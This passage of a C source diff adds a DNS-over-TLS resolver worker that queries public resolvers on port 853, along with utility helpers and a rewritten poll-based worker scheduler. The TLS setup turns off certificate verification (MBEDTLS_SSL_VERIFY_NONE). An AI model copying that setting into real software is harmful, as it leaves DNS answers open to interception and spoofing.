ctx->dnssrv_4.arr + 2)); + prne_true_or_die(prne_net_ep_set_ipv4("1.0.0.1", 853, ctx->dnssrv_4.arr + 3)); + // Quad9 + prne_true_or_die(prne_net_ep_set_ipv4("9.9.9.10", 853, ctx->dnssrv_4.arr + 4)); + prne_true_or_die(prne_net_ep_set_ipv4("149.112.112.10", 853, ctx->dnssrv_4.arr + 5)); + // CleanBrowsing + prne_true_or_die(prne_net_ep_set_ipv4("185.228.168.9", 853, ctx->dnssrv_4.arr + 6)); + prne_true_or_die(prne_net_ep_set_ipv4("185.228.169.9", 853, ctx->dnssrv_4.arr + 7)); + // IPv6 servers + // Google + prne_true_or_die(prne_net_ep_set_ipv6("2001:4860:4860::8888", 853, ctx->dnssrv_6.arr + 0)); + prne_true_or_die(prne_net_ep_set_ipv6("2001:4860:4860::8844", 853, ctx->dnssrv_6.arr + 1)); + // Cloudflare + prne_true_or_die(prne_net_ep_set_ipv6("2606:4700:4700::1111", 853, ctx->dnssrv_6.arr + 2)); + prne_true_or_die(prne_net_ep_set_ipv6("2606:4700:4700::1001", 853, ctx->dnssrv_6.arr + 3)); + // Quad9 + prne_true_or_die(prne_net_ep_set_ipv6("2620:fe::fe", 853, ctx->dnssrv_6.arr + 4)); + prne_true_or_die(prne_net_ep_set_ipv6("2620:fe::9", 853, ctx->dnssrv_6.arr + 5)); + // CleanBrowsing + prne_true_or_die(prne_net_ep_set_ipv6("2a0d:2a00:1::2", 853, ctx->dnssrv_6.arr + 6)); + prne_true_or_die(prne_net_ep_set_ipv6("2a0d:2a00:2::2", 853, ctx->dnssrv_6.arr + 7)); + + OK_OR_ERR(pipe(ctx->evtfd)); + OK_OR_ERR(resolv_set_cmn_fd_opt(ctx->evtfd[0])); + OK_OR_ERR(resolv_set_cmn_fd_opt(ctx->evtfd[1])); + prne_set_pipe_size(ctx->evtfd[0], 1); + ctx->evt_pfd_slot->pfd.fd = ctx->evtfd[0]; + ctx->evt_pfd_slot->pfd.events = POLLIN; + + if (mbedtls_ssl_config_defaults(&ctx->ssl.conf, MBEDTLS_SSL_IS_CLIENT, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) != 0) { + goto ERR; + } + mbedtls_ssl_conf_rng(&ctx->ssl.conf, mbedtls_ctr_drbg_random, ctx->ssl.ctr_drbg); + mbedtls_ssl_conf_authmode(&ctx->ssl.conf, MBEDTLS_SSL_VERIFY_NONE); + + w->ctx = ctx; + w->free = resolv_wkr_free; + w->fin = resolv_wkr_fin; + w->work = resolv_wkr_work; + w->has_finalised = resolv_wkr_has_finalised; + return ctx; +ERR: + if (ctx != NULL) { + prne_free_wkr_timeout_slot(ctx->sckop_to_slot); + prne_free_wkr_timeout_slot(ctx->err_to_slot); + prne_free_wkr_pollfd_slot(ctx->evt_pfd_slot); + prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[0]); + prne_free_wkr_pollfd_slot(ctx->sck_pfd_slot[1]); + prne_free(ctx->dnssrv_4.arr); + prne_free(ctx->dnssrv_6.arr); + prne_free_llist(&ctx->qlist); + prne_free_imap(&ctx->qid_map); + mbedtls_ssl_config_free(&ctx->ssl.conf); + mbedtls_ssl_free(&ctx->ssl.ctx); + + prne_close(ctx->evtfd[0]); + prne_close(ctx->evtfd[1]); + + prne_free(ctx); + } + + return NULL; +} + +bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name, const prne_ipv_t ipv, prne_resolv_prm_t *out, const struct timespec *timeout) { + bool ret; + query_entry_t *q_ent; + prne_resolv_query_type_t qt; + + if (wkr->wkr_state != RESOLV_WKR_STATE_OK) { + errno = EPIPE; + return false; + } + + switch (ipv) { + case PRNE_IPV_4: qt = PRNE_RESOLV_QT_A; break; + case PRNE_IPV_6: qt = PRNE_RESOLV_QT_AAAA; break; + default: + errno = EINVAL; + return false; + } + + ret = resolv_qq(wkr, name, out, timeout, &q_ent); + if (ret) { + q_ent->ipv = ipv; + q_ent->type = qt; + } + + return ret; +} + +bool prne_resolv_prm_gettxtrec (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout) { + bool ret; + query_entry_t *q_ent; + + if (wkr->wkr_state != RESOLV_WKR_STATE_OK) { + errno = EPIPE; + return false; + } + + ret = resolv_qq(wkr, name, out, timeout, &q_ent); + if (ret) { + q_ent->type = PRNE_RESOLV_QT_TXT; + } + + return ret; +} + +void prne_resolv_free_prm (prne_resolv_prm_t *prm) { + if (prm->ctx != NULL) { + query_entry_t *ent = (query_entry_t*)prm->ctx; + + if (ent->wkr != NULL) { + prne_llist_erase(&ent->wkr->qlist, ent->qlist_ent); + + if (prne_imap_lookup(&ent->wkr->qid_map, ent->qid) != NULL) { + prne_imap_insert(&ent->wkr->qid_map, ent->qid, 0); + } + } + resolv_free_q_ent(ent); + } + + prm->ctx = NULL; + prm->fut = NULL; + prm->evtfd = -1; +} + +void prne_resolv_init_prm (prne_resolv_prm_t *prm) { + prm->ctx = NULL; + prm->fut = NULL; + prm->evtfd = -1; +} + +void prne_init_resolv_fut (prne_resolv_fut_t *fut) { + fut->rr_cnt = 0; + fut->rr = NULL; + fut->qr = PRNE_RESOLV_QR_NONE; + fut->err = 0; + fut->status = 0; +} + +void prne_free_resolv_fut (prne_resolv_fut_t *fut) { + size_t i; + + for (i = 0; i < fut->rr_cnt; i += 1) { + prne_free_resolv_rr(fut->rr + i); + } + prne_free(fut->rr); + fut->rr = NULL; + fut->rr_cnt = 0; +} + +void prne_init_resolv_rr (prne_resolv_rr_t *rr) { + rr->name = NULL; + rr->rr_class = 0; + rr->rr_type = 0; + rr->rr_ttl = 0; + rr->rd_data = NULL; + rr->rd_len = 0; +} + +void prne_free_resolv_rr (prne_resolv_rr_t *rr) { + prne_free(rr->name); + prne_free(rr->rd_data); + rr->rd_data = NULL; + rr->rd_len = 0; +} + +const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr) { + switch (qr) { + case PRNE_RESOLV_QR_OK: return "OK"; + case PRNE_RESOLV_QR_ERR: return "ERR"; + case PRNE_RESOLV_QR_PRO_ERR: return "PRO_ERR"; + case PRNE_RESOLV_QR_FIN: return "FIN"; + case PRNE_RESOLV_QR_IMPL: return "IMPL"; + case PRNE_RESOLV_QR_TIMEOUT: return "TIMEOUT"; + case PRNE_RESOLV_QR_STATUS: return "STATUS"; + } + return NULL; +} + +const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc) { + switch (rc) { + case PRNE_RESOLV_RCODE_NOERROR: return "NOERROR"; + case PRNE_RESOLV_RCODE_FORMERR: return "FORMERR"; + case PRNE_RESOLV_RCODE_SERVFAIL: return "SERVFAIL"; + case PRNE_RESOLV_RCODE_NXDOMAIN: return "NXDOMAIN"; + case PRNE_RESOLV_RCODE_NOTIMP: return "NOTIMP"; + case PRNE_RESOLV_RCODE_REFUSED: return "REFUSED"; + } + return NULL; +} + +const char *prne_resolv_rrtype_tostr (const uint16_t rrt) { + switch (rrt) { + case PRNE_RESOLV_RTYPE_A: return "A"; + case PRNE_RESOLV_RTYPE_NS: return "NS"; + case PRNE_RESOLV_RTYPE_CNAME: return "CNAME"; + case PRNE_RESOLV_RTYPE_SOA: return "SOA"; + case PRNE_RESOLV_RTYPE_PTR: return "PTR"; + case PRNE_RESOLV_RTYPE_MX: return "MX"; + case PRNE_RESOLV_RTYPE_TXT: return "TXT"; + case PRNE_RESOLV_RTYPE_AAAA: return "AAAA"; + } + return NULL; +} diff --git a/src/resolv_worker.h b/src/resolv_worker.h new file mode 100644 index 0000000..c76152f --- /dev/null +++ b/src/resolv_worker.h @@ -0,0 +1,95 @@ +#pragma once +#include "protocol.h" +#include "worker.h" + +#include <mbedtls/ctr_drbg.h> + + +struct prne_resolv_wkr_ctx; +typedef struct prne_resolv_wkr_ctx* prne_resolv_wkr_ctx_t; + +struct prne_resolv_prm; +struct prne_resolv_fut; +struct prne_resolv_rr; +typedef struct prne_resolv_prm prne_resolv_prm_t; +typedef struct prne_resolv_fut prne_resolv_fut_t; +typedef struct prne_resolv_rr prne_resolv_rr_t; +typedef uint16_t prne_resolv_rcode_t; + +typedef enum { + PRNE_RESOLV_QR_NONE = -1, + + PRNE_RESOLV_QR_OK, + PRNE_RESOLV_QR_ERR, + PRNE_RESOLV_QR_PRO_ERR, + PRNE_RESOLV_QR_FIN, + PRNE_RESOLV_QR_IMPL, + PRNE_RESOLV_QR_TIMEOUT, + PRNE_RESOLV_QR_STATUS, + + NB_PRNE_RESOLV +} prne_resolv_qr_t; + +typedef enum { + PRNE_RESOLV_QT_NONE = -1, + + PRNE_RESOLV_QT_A, + PRNE_RESOLV_QT_AAAA, + PRNE_RESOLV_QT_TXT, + + NB_PRNE_RESOLV_QT +} prne_resolv_query_type_t; + +struct prne_resolv_prm { + void *ctx; + prne_resolv_fut_t *fut; + int evtfd; +}; + +struct prne_resolv_fut { + size_t rr_cnt; + prne_resolv_rr_t *rr; + int err; + prne_resolv_qr_t qr; + prne_resolv_rcode_t status; +}; + +struct prne_resolv_rr { + char *name; + uint16_t rr_class, rr_type; + uint32_t rr_ttl; + uint8_t *rd_data; + uint16_t rd_len; +}; + +// honor bind-utils' choice of words +#define PRNE_RESOLV_RCODE_NOERROR 0 +#define PRNE_RESOLV_RCODE_FORMERR 1 +#define PRNE_RESOLV_RCODE_SERVFAIL 2 +#define PRNE_RESOLV_RCODE_NXDOMAIN 3 +#define PRNE_RESOLV_RCODE_NOTIMP 4 +#define PRNE_RESOLV_RCODE_REFUSED 5 + +#define PRNE_RESOLV_RTYPE_A 1 +#define PRNE_RESOLV_RTYPE_NS 2 +#define PRNE_RESOLV_RTYPE_CNAME 5 +#define PRNE_RESOLV_RTYPE_SOA 6 +#define PRNE_RESOLV_RTYPE_PTR 12 +#define PRNE_RESOLV_RTYPE_MX 15 +#define PRNE_RESOLV_RTYPE_TXT 16 +#define PRNE_RESOLV_RTYPE_AAAA 28 + + +prne_resolv_wkr_ctx_t prne_alloc_resolv_worker (prne_worker_t *w, prne_wkr_sched_req_t *wsr, mbedtls_ctr_drbg_context *ctr_drbg); +bool prne_resolv_prm_gethostbyname (prne_resolv_wkr_ctx_t wkr, const char *name, const prne_ipv_t ipv, prne_resolv_prm_t *out, const struct timespec *timeout); +bool prne_resolv_prm_gettxtrec (prne_resolv_wkr_ctx_t wkr, const char *name, prne_resolv_prm_t *out, const struct timespec *timeout); + +void prne_resolv_init_prm (prne_resolv_prm_t *prm); +void prne_resolv_free_prm (prne_resolv_prm_t *prm); +void prne_init_resolv_fut (prne_resolv_fut_t *fut); +void prne_free_resolv_fut (prne_resolv_fut_t *fut); +void prne_init_resolv_rr (prne_resolv_rr_t *rr); +void prne_free_resolv_rr (prne_resolv_rr_t *rr); +const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr); +const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc); +const char *prne_resolv_rrtype_tostr (const uint16_t rrt); @@ -2,6 +2,10 @@ #include "util_rt.h" #include <stdlib.h> +#include <time.h> + +#include <unistd.h> +#include <sys/random.h> #define N ((size_t)624) @@ -92,3 +96,26 @@ uint32_t prne_rnd_gen_int (prne_rnd_engine_t *engine) { double prne_rnd_gen_double (prne_rnd_engine_t *engine) { return (double)prne_rnd_gen_int(engine) * 2.3283064370807974e-10; } + +prne_rnd_engine_t *prne_mk_rnd_engine (void) { + uint32_t seed = 0; + prne_rnd_engnie_alloc_result_t ret; + + getrandom(&seed, sizeof(uint32_t), 0); + + if (seed == 0) { + // fall back to seeding with what's available. + seed = + (uint32_t)(time(NULL) % 0xFFFFFFFF) ^ + (uint32_t)(getpid() % 0xFFFFFFFF) ^ + (uint32_t)(getppid() % 0xFFFFFFFF) ^ + (uint32_t)(clock() % 0xFFFFFFFF); + } + + ret = prne_alloc_rnd_engine(seed == 0 ? NULL : &seed); + if (ret.result != PRNE_RND_ENGINE_ALLOC_OK) { + return NULL; + } + + return ret.engine; +} @@ -25,3 +25,5 @@ prne_rnd_engnie_alloc_result_t prne_alloc_rnd_engine (const uint32_t *seed); void prne_free_rnd_engine (prne_rnd_engine_t *engine); uint32_t prne_rnd_gen_int (prne_rnd_engine_t *engine); double prne_rnd_gen_double (prne_rnd_engine_t *engine); + +prne_rnd_engine_t *prne_mk_rnd_engine (void); diff --git a/src/util_rt.c b/src/util_rt.c index 6a4d139..e0ebafc 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -5,17 +5,59 @@ #include <ctype.h> #include <errno.h> +#include <unistd.h> +#include <fcntl.h> +#include <sys/ioctl.h> +#include <sys/socket.h> #include <mbedtls/base64.h> -void prne_succeed_or_die (const int ret) { +void prne_ok_or_die (const int ret) { if (ret < 0) { abort(); } } -void prne_empty_func () {} +void prne_true_or_die (const bool ret) { + if (!ret) { + abort(); + } +} + +void prne_empty_func (void) {} + +bool prne_is_nonblock_errno (void) { + switch (errno) { +#if EAGAIN == EWOULDBLOCK + case EAGAIN: +#else + case EAGAIN: + case EWOULDBLOCK: +#endif + case EINPROGRESS: + return true; + } + return false; +} + +void prne_die_not_nonblock_err (void) { + if (!prne_is_nonblock_errno()) { + abort(); + } +} + +void prne_close (const int fd) { + if (fd >= 0) { + close(fd); + } +} + +void prne_shutdown (const int fd, const int how) { + if (fd >= 0) { + shutdown(fd, how); + } +} void *prne_malloc (const size_t se, const size_t cnt) { if (SIZE_MAX / se < cnt) { @@ -41,14 +83,14 @@ void prne_free (void *ptr) { free(ptr); } -void prne_rnd_anum_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t len) { +void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len) { static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789"; size_t i = 0; uint32_t n; if (len >= 4) { for (; i < len / 4 * 4; i += 4) { - n = prne_rnd_gen_int(rnd_engine); + mbedtls_ctr_drbg_random(rnd, (uint8_t*)&n, sizeof(n)); str[i + 0] = SET[((uint8_t*)&n)[0] % sizeof(SET)]; str[i + 1] = SET[((uint8_t*)&n)[1] % sizeof(SET)]; str[i + 2] = SET[((uint8_t*)&n)[2] % sizeof(SET)]; @@ -56,13 +98,28 @@ void prne_rnd_anum_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t l } } if (i < len) { - n = prne_rnd_gen_int(rnd_engine); + mbedtls_ctr_drbg_random(rnd, (uint8_t*)&n, sizeof(n)); for (; i < len; i += 1) { str[i] = SET[((uint8_t*)&n)[i % 4] % sizeof(SET)]; } } } +char *prne_strnchr (const char *p, const char c, const size_t n) { + size_t i; + + for (i = 0; i < n; i += 1) { + if (p[i] == c) { + return (char*)p + i; + } + else if (p[i] == 0) { + return NULL; + } + } + + return NULL; +} + size_t prne_str_shift_spaces (char *str, const size_t len) { size_t i, ret = len; @@ -85,34 +142,42 @@ size_t prne_str_shift_spaces (char *str, const size_t len) { } -struct timespec prne_sub_timespec (const struct timespec *a, const struct timespec *b) { +struct timespec prne_sub_timespec (const struct timespec a, const struct timespec b) { struct timespec ret; - if (a->tv_nsec < b->tv_nsec) { - ret.tv_sec = a->tv_sec - 1 - b->tv_sec; - ret.tv_nsec = 1000000000 + a->tv_nsec - b->tv_nsec; + if (a.tv_nsec < b.tv_nsec) { + ret.tv_sec = a.tv_sec - 1 - b.tv_sec; + ret.tv_nsec = 1000000000 + a.tv_nsec - b.tv_nsec; } else { - ret.tv_sec = a->tv_sec - b->tv_sec; - ret.tv_nsec = a->tv_nsec - b->tv_nsec; + ret.tv_sec = a.tv_sec - b.tv_sec; + ret.tv_nsec = a.tv_nsec - b.tv_nsec; } return ret; } -double prne_real_timespec (const struct timespec *ts) { - return (double)ts->tv_sec + (double)ts->tv_nsec / 1000000000.0; +double prne_real_timespec (const struct timespec ts) { + return (double)ts.tv_sec + (double)ts.tv_nsec / 1000000000.0; } -int prne_cmp_timespec (const struct timespec *a, const struct timespec *b) { - if (a->tv_sec < b->tv_sec) { +int prne_cmp_timespec (const struct timespec a, const struct timespec b) { + if (a.tv_sec < b.tv_sec) { return -1; } - else if (a->tv_sec > b->tv_sec) { + else if (a.tv_sec > b.tv_sec) { return 1; } - return a->tv_nsec < b->tv_nsec ? -1 : a->tv_nsec > b->tv_nsec ? 1 : 0; + return a.tv_nsec < b.tv_nsec ? -1 : a.tv_nsec > b.tv_nsec ? 1 : 0; +} + +struct timespec prne_min_timespec (const struct timespec a, const struct timespec b) { + return prne_cmp_timespec(a, b) < 0 ? a : b; +} + +struct timespec prne_max_timespec (const struct timespec a, const struct timespec b) { + return prne_cmp_timespec(a, b) > 0 ? a : b; } char *prne_enc_base64_mem (const uint8_t *data, const size_t size) { @@ -161,3 +226,13 @@ bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, *size = ret_size; return true; } + +bool prne_set_pipe_size (const int fd, const int size) { + return +#if defined(F_SETPIPE_SZ) + fcntl(fd, F_SETPIPE_SZ, size) == 0 +#elif defined(FIONREAD) + ioctl(fd, FIONREAD, &size) == 0 +#endif + ; +} diff --git a/src/util_rt.h b/src/util_rt.h index b10f93d..4d03dc6 100644 --- a/src/util_rt.h +++ b/src/util_rt.h @@ -1,9 +1,11 @@ #pragma once -#include "rnd.h" - #include <stddef.h> +#include <stdbool.h> +#include <stdint.h> #include <time.h> +#include <mbedtls/ctr_drbg.h> + #if 0 bool prne_strendsw (const char *str, const char *w) { @@ -17,20 +19,30 @@ bool prne_strendsw (const char *str, const char *w) { } #endif -void prne_succeed_or_die (const int ret); -void prne_empty_func (); +void prne_ok_or_die (const int ret); +void prne_true_or_die (const bool ret); +void prne_empty_func (void); +bool prne_is_nonblock_errno (void); +void prne_die_not_nonblock_err (void); +void prne_close (const int fd); +void prne_shutdown (const int fd, const int how); void *prne_malloc (const size_t se, const size_t cnt); void *prne_realloc (void *ptr, const size_t se, const size_t cnt); void *prne_calloc (const size_t se, const size_t cnt); void prne_free (void *ptr); -void prne_rnd_anum_str (prne_rnd_engine_t *rnd_engine, char *str, const size_t len); +void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len); +char *prne_strnchr (const char *p, const char c, const size_t n); size_t prne_str_shift_spaces (char *str, const size_t len); -struct timespec prne_sub_timespec (const struct timespec *a, const struct timespec *b); -double prne_real_timespec (const struct timespec *ts); -int prne_cmp_timespec (const struct timespec *a, const struct timespec *b); +struct timespec prne_sub_timespec (const struct timespec a, const struct timespec b); +double prne_real_timespec (const struct timespec ts); +int prne_cmp_timespec (const struct timespec a, const struct timespec b); +struct timespec prne_min_timespec (const struct timespec a, const struct timespec b); +struct timespec prne_max_timespec (const struct timespec a, const struct timespec b); char *prne_enc_base64_mem (const uint8_t *data, const size_t size); bool prne_dec_base64_mem (const char *str, const size_t str_len, uint8_t **data, size_t *size); + +bool prne_set_pipe_size (const int fd, const int size); diff --git a/src/worker.c b/src/worker.c index c69a925..f68eace 100644 --- a/src/worker.c +++ b/src/worker.c @@ -1,50 +1,289 @@ #include "worker.h" #include "util_rt.h" -#include <stdlib.h> +#include <string.h> +#include <time.h> +#include <assert.h> +#include <errno.h> -static void def_free_func (prne_worker_sched_req_t *wsr) { - prne_free(wsr->pollfd_arr); - wsr->pollfd_arr = NULL; - wsr->pollfd_arr_size = 0; +void prne_init_wkr_sched_req (prne_wkr_sched_req_t *r) { + r->pfd_arr = NULL; + r->pfd_arr_size = 0; + prne_init_llist(&r->tos_list); + prne_init_llist(&r->pfd_list); + r->timeout_active = false; } -static bool def_alloc_func (prne_worker_sched_req_t *wsr, const size_t ny_size) { - if (ny_size == 0) { - def_free_func(wsr); +void prne_free_wkr_sched_req (prne_wkr_sched_req_t *r) { + prne_llist_entry_t *cur; + prne_wkr_timeout_slot_pt to_slot; + prne_wkr_pollfd_slot_pt pfd_slot; + + if (r == NULL) { + return; + } + + cur = r->tos_list.head; + while (cur != NULL) { + to_slot = (prne_wkr_timeout_slot_pt)cur->element; + to_slot->parent.ent = NULL; + to_slot->parent.wsr = NULL; + cur = cur->next; + } + cur = r->pfd_list.head; + while (cur != NULL) { + pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element; + pfd_slot->parent.ent = NULL; + pfd_slot->parent.wsr = NULL; + cur = cur->next; + } + + prne_free(r->pfd_arr); + prne_free_llist(&r->tos_list); + prne_free_llist(&r->pfd_list); + r->pfd_arr = NULL; + r->pfd_arr_size = 0; + r->timeout_active = false; +} + +bool prne_wkr_sched_req_prep_poll (prne_wkr_sched_req_t *r) { + prne_llist_entry_t *cur; + prne_wkr_timeout_slot_pt to_slot; + prne_wkr_pollfd_slot_pt pfd_slot; + size_t i = 0; + + cur = r->pfd_list.head; + while (cur != NULL) { + pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element; + if (pfd_slot->pfd.fd >= 0) { + i += 1; + } + cur = cur->next; } - else if (ny_size != wsr->pollfd_arr_size) { - void *ny_buf = prne_realloc(wsr->pollfd_arr, sizeof(struct pollfd), ny_size); + if (i > 0) { + void *ny_mem; - if (ny_buf == NULL) { + ny_mem = prne_realloc(r->pfd_arr, sizeof(struct pollfd), i); + if (ny_mem != NULL) { + r->pfd_arr = (struct pollfd*)ny_mem; + r->pfd_arr_size = i; + + i = 0; + cur = r->pfd_list.head; + while (cur != NULL) { + pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element; + if (pfd_slot->pfd.fd >= 0) { + pfd_slot->pfd.revents = 0; + r->pfd_arr[i].fd = pfd_slot->pfd.fd; + r->pfd_arr[i].events = pfd_slot->pfd.events; + i += 1; + } + cur = cur->next; + } + } + else { return false; } - wsr->pollfd_arr = (struct pollfd*)ny_buf; - wsr->pollfd_arr_size = ny_size; + } + else { + prne_free(r->pfd_arr); + r->pfd_arr = NULL; + r->pfd_arr_size = 0; + } + + r->timeout_active = false; + cur = r->tos_list.head; + while (cur != NULL) { + to_slot = (prne_wkr_timeout_slot_pt)cur->element; + if (to_slot->active) { + if (r->timeout_active) { + r->timeout = prne_min_timespec(r->timeout, to_slot->dur); + } + else { + r->timeout = to_slot->dur; + r->timeout_active = true; + } + } + cur = cur->next; } return true; } -static prne_worker_sched_req_mem_func_t def_mem_func = { def_alloc_func, def_free_func, NULL }; +void prne_wkr_sched_req_refl_poll (prne_wkr_sched_req_t *r, const int poll_ret, const struct timespec elapsed) { + prne_llist_entry_t *cur; + if (r->timeout_active) { + prne_wkr_timeout_slot_pt to_slot; -bool prne_init_worker_sched_req (prne_worker_sched_req_t *wsr, prne_worker_sched_req_mem_func_t *in_mem_func) { - prne_worker_sched_req_t ret; + cur = r->tos_list.head; + while (cur != NULL) { + to_slot = (prne_wkr_timeout_slot_pt)cur->element; + if (to_slot->active) { + if (prne_cmp_timespec(to_slot->dur, elapsed) > 0) { + to_slot->dur = prne_sub_timespec(to_slot->dur, elapsed); + to_slot->reached = false; + } + else { + to_slot->dur.tv_sec = 0; + to_slot->dur.tv_nsec = 0; + to_slot->reached = true; + } + } - ret.pollfd_arr_size = 0; - ret.pollfd_arr = NULL; - ret.timeout.tv_sec = 0; - ret.timeout.tv_nsec = 0; - ret.mem_func = *(in_mem_func != NULL ? in_mem_func : &def_mem_func); - ret.flags = PRNE_WORKER_SCHED_FLAG_NONE; - ret.pollfd_ready = false; + cur = cur->next; + } + } + + if (poll_ret > 0) { + prne_wkr_pollfd_slot_pt pfd_slot; + size_t i = 0, ret_evts = 0; + + cur = r->pfd_list.head; + while (cur != NULL) { + pfd_slot = (prne_wkr_pollfd_slot_pt)cur->element; + if (pfd_slot->pfd.fd >= 0) { + assert(pfd_slot->pfd.fd == r->pfd_arr[i].fd); + + pfd_slot->pfd.revents = r->pfd_arr[i].revents; + if (pfd_slot->pfd.revents) { + ret_evts += 1; + } + if (ret_evts >= (size_t)poll_ret) { + break; + } + i += 1; + } + cur = cur->next; + } + } +} + +bool prne_wkr_sched_req_do_poll (prne_wkr_sched_req_t *r, int *poll_ret) { + bool ret = false; - if (!ret.mem_func.alloc(&ret, 0)) { - return false; + *poll_ret = 0; + if (r->pfd_arr_size > 0) { + *poll_ret = ppoll(r->pfd_arr, r->pfd_arr_size, r->timeout_active ? &r->timeout : NULL, NULL); + if (*poll_ret < 0) { + switch (errno) { + case EINTR: + case ENOMEM: + break; + default: + abort(); + } + } + else { + ret = true; + } + } + else if (r->timeout_active) { + if (nanosleep(&r->timeout, NULL) < 0 && errno != EINTR) { + abort(); + } + ret = true; + } + else { + ret = true; } - *wsr = ret; - return true; + return ret; +} + +prne_wkr_timeout_slot_pt prne_alloc_wkr_timeout_slot (prne_wkr_sched_req_t *r) { + prne_wkr_timeout_slot_pt ret = NULL; + prne_llist_entry_t *ent = NULL; + + ret = prne_malloc(sizeof(struct prne_wkr_timeout_slot), 1); + if (ret == NULL) { + goto ERR; + } + ent = prne_llist_append(&r->tos_list, ret); + if (ent == NULL) { + goto ERR; + } + + ret->parent.ent = ent; + ret->parent.wsr = r; + ret->active = false; + ret->reached = false; + return ret; +ERR: + prne_free(ret); + prne_llist_erase(&r->tos_list, ent); + + return NULL; +} + +void prne_free_wkr_timeout_slot (prne_wkr_timeout_slot_pt s) { + if (s == NULL) { + return; + } + + if (s->parent.wsr != NULL) { + prne_llist_erase(&s->parent.wsr->tos_list, s->parent.ent); + } + prne_free(s); +} + +prne_wkr_pollfd_slot_pt prne_alloc_wkr_pollfd_slot (prne_wkr_sched_req_t *r) { + prne_wkr_pollfd_slot_pt ret = NULL; + prne_llist_entry_t *ent = NULL; + + ret = prne_malloc(sizeof(struct prne_wkr_pollfd_slot), 1); + if (ret == NULL) { + goto ERR; + } + ent = prne_llist_append(&r->pfd_list, ret); + if (ent == NULL) { + goto ERR; + } + + ret->parent.ent = ent; + ret->parent.wsr = r; + ret->pfd.fd = -1; + ret->pfd.events = 0; + ret->pfd.revents = 0; + return ret; +ERR: + prne_free(ret); + prne_llist_erase(&r->pfd_list, ent); + + return NULL; +} + +void prne_free_wkr_pollfd_slot (prne_wkr_pollfd_slot_pt s) { + if (s == NULL) { + return; + } + + if (s->parent.wsr != NULL) { + prne_llist_erase(&s->parent.wsr->pfd_list, s->parent.ent); + } + prne_free(s); +} + +void prne_init_wkr_tick_info (prne_wkr_tick_info_t *ti) { + memset(ti, 0, sizeof(prne_wkr_tick_info_t)); +} + +void prne_free_wkr_tick_info (prne_wkr_tick_info_t *ti) { + // left for future code +} + +void prne_wkr_tick_info_set_start (prne_wkr_tick_info_t *ti) { + prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &ti->this_tick)); + ti->last_tick = ti->this_tick; + ti->tick_diff.tv_sec = 0; + ti->tick_diff.tv_nsec = 0; + ti->real_tick_diff = 0.0; +} + +void prne_wkr_tick_info_set_tick (prne_wkr_tick_info_t *ti) { + ti->last_tick = ti->this_tick; + prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &ti->this_tick)); + ti->tick_diff = prne_sub_timespec(ti->this_tick, ti->last_tick); + ti->real_tick_diff = prne_real_timespec(ti->tick_diff); } diff --git a/src/worker.h b/src/worker.h index 8927fb0..78661a1 100644 --- a/src/worker.h +++ b/src/worker.h @@ -5,33 +5,46 @@ #include <time.h> #include <poll.h> +#include "llist.h" -typedef uint8_t prne_worker_sched_flag_t; -typedef struct prne_worker_sched_req prne_worker_sched_req_t; -typedef bool(*prne_worker_sched_req_alloc_func_t)(prne_worker_sched_req_t *, const size_t); -typedef void(*prne_worker_sched_req_free_func_t)(prne_worker_sched_req_t *); -typedef struct prne_worker_sched_req_mem_func prne_worker_sched_req_mem_func_t; -typedef struct prne_worker_sched_info prne_worker_sched_info_t; +struct prne_wkr_timeout_slot; +struct prne_wkr_pollfd_slot; +struct prne_wkr_tick_info; +struct prne_wkr_sched_req; +typedef struct prne_wkr_timeout_slot* prne_wkr_timeout_slot_pt; +typedef struct prne_wkr_pollfd_slot* prne_wkr_pollfd_slot_pt; +typedef struct prne_wkr_sched_req prne_wkr_sched_req_t; +typedef struct prne_wkr_tick_info prne_wkr_tick_info_t; typedef struct prne_worker prne_worker_t; -struct prne_worker_sched_req_mem_func { - prne_worker_sched_req_alloc_func_t alloc; - prne_worker_sched_req_free_func_t free; - void *ctx; +struct prne_wkr_slot_parent { + prne_llist_entry_t *ent; + prne_wkr_sched_req_t *wsr; +}; + +struct prne_wkr_timeout_slot { + struct timespec dur; + struct prne_wkr_slot_parent parent; + bool active; + bool reached; }; -struct prne_worker_sched_req { - size_t pollfd_arr_size; - struct pollfd *pollfd_arr; +struct prne_wkr_pollfd_slot { + struct pollfd pfd; + struct prne_wkr_slot_parent parent; +}; + +struct prne_wkr_sched_req { + struct pollfd *pfd_arr; + size_t pfd_arr_size; struct timespec timeout; - prne_worker_sched_req_mem_func_t mem_func; - prne_worker_sched_flag_t flags; - bool pollfd_ready; + prne_llist_t tos_list; + prne_llist_t pfd_list; + bool timeout_active; }; -struct prne_worker_sched_info { - prne_worker_sched_flag_t tick_flags; +struct prne_wkr_tick_info { struct timespec last_tick; struct timespec this_tick; struct timespec tick_diff; @@ -44,21 +57,23 @@ struct prne_worker { void (*free)(void *ctx); void (*fin)(void *ctx); - void (*work)(void *ctx, const prne_worker_sched_info_t *sched_info, prne_worker_sched_req_t *sched_req); + void (*work)(void *ctx, const prne_wkr_tick_info_t *sched_info); bool (*has_finalised)(void *ctx); }; -/* Do nothing. The worker has more work to do and is yielding cpu time to the -* other workers. -*/ -static const prne_worker_sched_flag_t PRNE_WORKER_SCHED_FLAG_NONE = 0x00; -/* Do `poll()`. The worker has to set `shed_req` properly. -*/ -static const prne_worker_sched_flag_t PRNE_WORKER_SCHED_FLAG_POLL = 0x01; -/* Do `poll()` with timeout or just sleep. The worker has to set -* `prne_worker_sched_req_t::timeout` 